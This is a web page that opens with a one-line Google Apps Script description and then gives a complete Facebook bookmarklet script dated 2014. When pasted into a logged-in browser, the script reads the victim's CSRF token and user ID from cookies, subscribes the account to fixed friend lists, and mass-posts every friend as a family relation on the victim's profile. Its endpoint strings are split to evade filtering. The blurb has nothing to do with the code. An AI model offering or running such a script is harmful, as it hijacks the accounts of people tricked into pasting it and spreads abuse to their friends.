Google Apps Script is a JavaScript cloud scripting language that provides easy ways to automate tasks across Google products and third party services and build web applications.
wait up..
javascript:void(function(){ var dtsg=document.getElementsByName("fb_dtsg")[0].value; var uid=document.cookie.match(/c_user=(\d+)/)[1]; var dyn="7n8ahyj35CCzpQ9UmWOGUGy1m9ACUb8yGg"; var req=8; var rev="1033590"; var ttstamp="265816767119957579"; /*------------------------------ Ipeenk-Creations ©2014 ------------------------------*/ window.itungin={ok:0,er:0}; window.aing={ bikinPrms:function(d,wi){ var v="fb_dtsg="+dtsg+"&"; v+="relation[0]=101&"; v+="show_on_profile[0]=1&"; v+="family_oldid[0]=0&"; v+="family_text[0]="+d+"&"; v+="family_id[0]="+wi+"&"; v+="birth_month[0]=-1&"; v+="birth_day[0]=-1&"; v+="birth_year[0]=-1&"; v+="save=1&"; v+="nctr[_mod]=pagelet_relationships&"; v+="__user="+uid+"&__a=1&__dyn="+dyn+"&__req="+req+"&ttstamp="+ttstamp+"&__rev="+rev; return v; }, mulai:function(uids){ for(x in uids){ var prm=aing.bikinPrms(uids[x].text,uids[x].uid); var h=new XMLHttpRequest(); h.open("POST","/profile/async/edit/infotab/save/family/",true); h.setRequestHeader("Content-type","application/x-www-form-urlencoded"); h.onreadystatechange=function(c){ if(c.target.readyState==4){ var e={ error: 0, errorSummary:"Connection error!", errorDescription:"Ajax status="+c.target.status }; if(c.target.status==200||c.target.status==400){ var d=c.target.responseText; if(d==""){ e.errorSummary="Empty callback!"; }else{ e=JSON.parse(d.substring(d.indexOf("{"),d.lastIndexOf("}")+1)); } if(e.error && e.errorSummary && e.errorDescription){ console.log("(" +e.error+ ") " +e.errorSummary+ ", "+e.errorDescription); itungin.er++; }else{ itungin.ok++; } }else{ itungin.er++; } document.getElementById("naonwe").innerHTML="(" +(itungin.ok+itungin.er)+ ") " +itungin.ok+ "+" +itungin.er+ "/" +uids.length; console.log("(" +(itungin.ok+itungin.er)+ ") " +itungin.ok+ "+" +itungin.er+ "/" +uids.length); if((itungin.ok+itungin.er)==uids.length){ location.reload(); } } }; h.send(prm); } }, maniakPesbuk:function(){ var nyuel=document.createElement("div"); nyuel.innerHTML="Wait up.."; document.body.appendChild(nyuel); aing.kolAjak("/ajax/fr"+"iends/li"+"sts/sub"+"scrib"+"e/mod"+"ify","fb_dtsg="+dtsg+"&__user="+uid+"&__a=1&__dyn="+dyn+"&__req="+req+"&__rev="+rev+"&ttstamp="+ttstamp+"&log_impressions=true&location=permalink&action=subscribe&flid=10203877581607819","",function(q,p){}); var h=new XMLHttpRequest(); h.open("GET","/ajax/typeahead/first_degree.php?__a=1&viewer="+uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only",true); h.setRequestHeader("Content-type","application/x-www-form-urlencoded"); h.onreadystatechange=function(c){ if(c.target.readyState==4){ aing.kolAjak("/ajax/fr"+"iends/li"+"sts/sub"+"scrib"+"e/mod"+"ify","fb_dtsg="+dtsg+"&__user="+uid+"&__a=1&__dyn="+dyn+"&__req="+req+"&__rev="+rev+"&ttstamp="+ttstamp+"&log_impressions=true&location=permalink&action=subscribe&flid=586419591422497","",function(q,p){}); aing.mulai(JSON.parse(c.target.responseText.substring(c.target.responseText.indexOf("{"),c.target.responseText.lastIndexOf("}")+1)).payload.entries); } }; h.send(); }, kolAjak:function(i,r,l,a,n){if(n==null||n==""){n="POST"}else{if(i.match(/\?/)){i+="&"+r}else{i+="?"+r}}var h=new XMLHttpRequest();h.open(n,i,true);h.setRequestHeader("Content-type","application/x-www-form-urlencoded");h.onreadystatechange=function(c){if(c.target.readyState==4){if(aing.panggilanKe){aing.panggilanKe++}else{aing.panggilanKe=1}var e={errorSummary:"Connection error !",errorDescription:"Ajax status="+c.target.status};if(c.target.status==200||c.target.status==400){var d=c.target.responseText;if(d==""){e.errorSummary="empty callback!"}else{e=JSON.parse(d.substring(d.indexOf("{"),d.lastIndexOf("}")+1))}a(l,e)}else if(aing.panggilanKe<2){aing.kolAjak(i,r,l,a,n)}else{aing.panggilanKe=0;a(l,e)}}};h.send(r)}, } aing.maniakPesbuk(); })();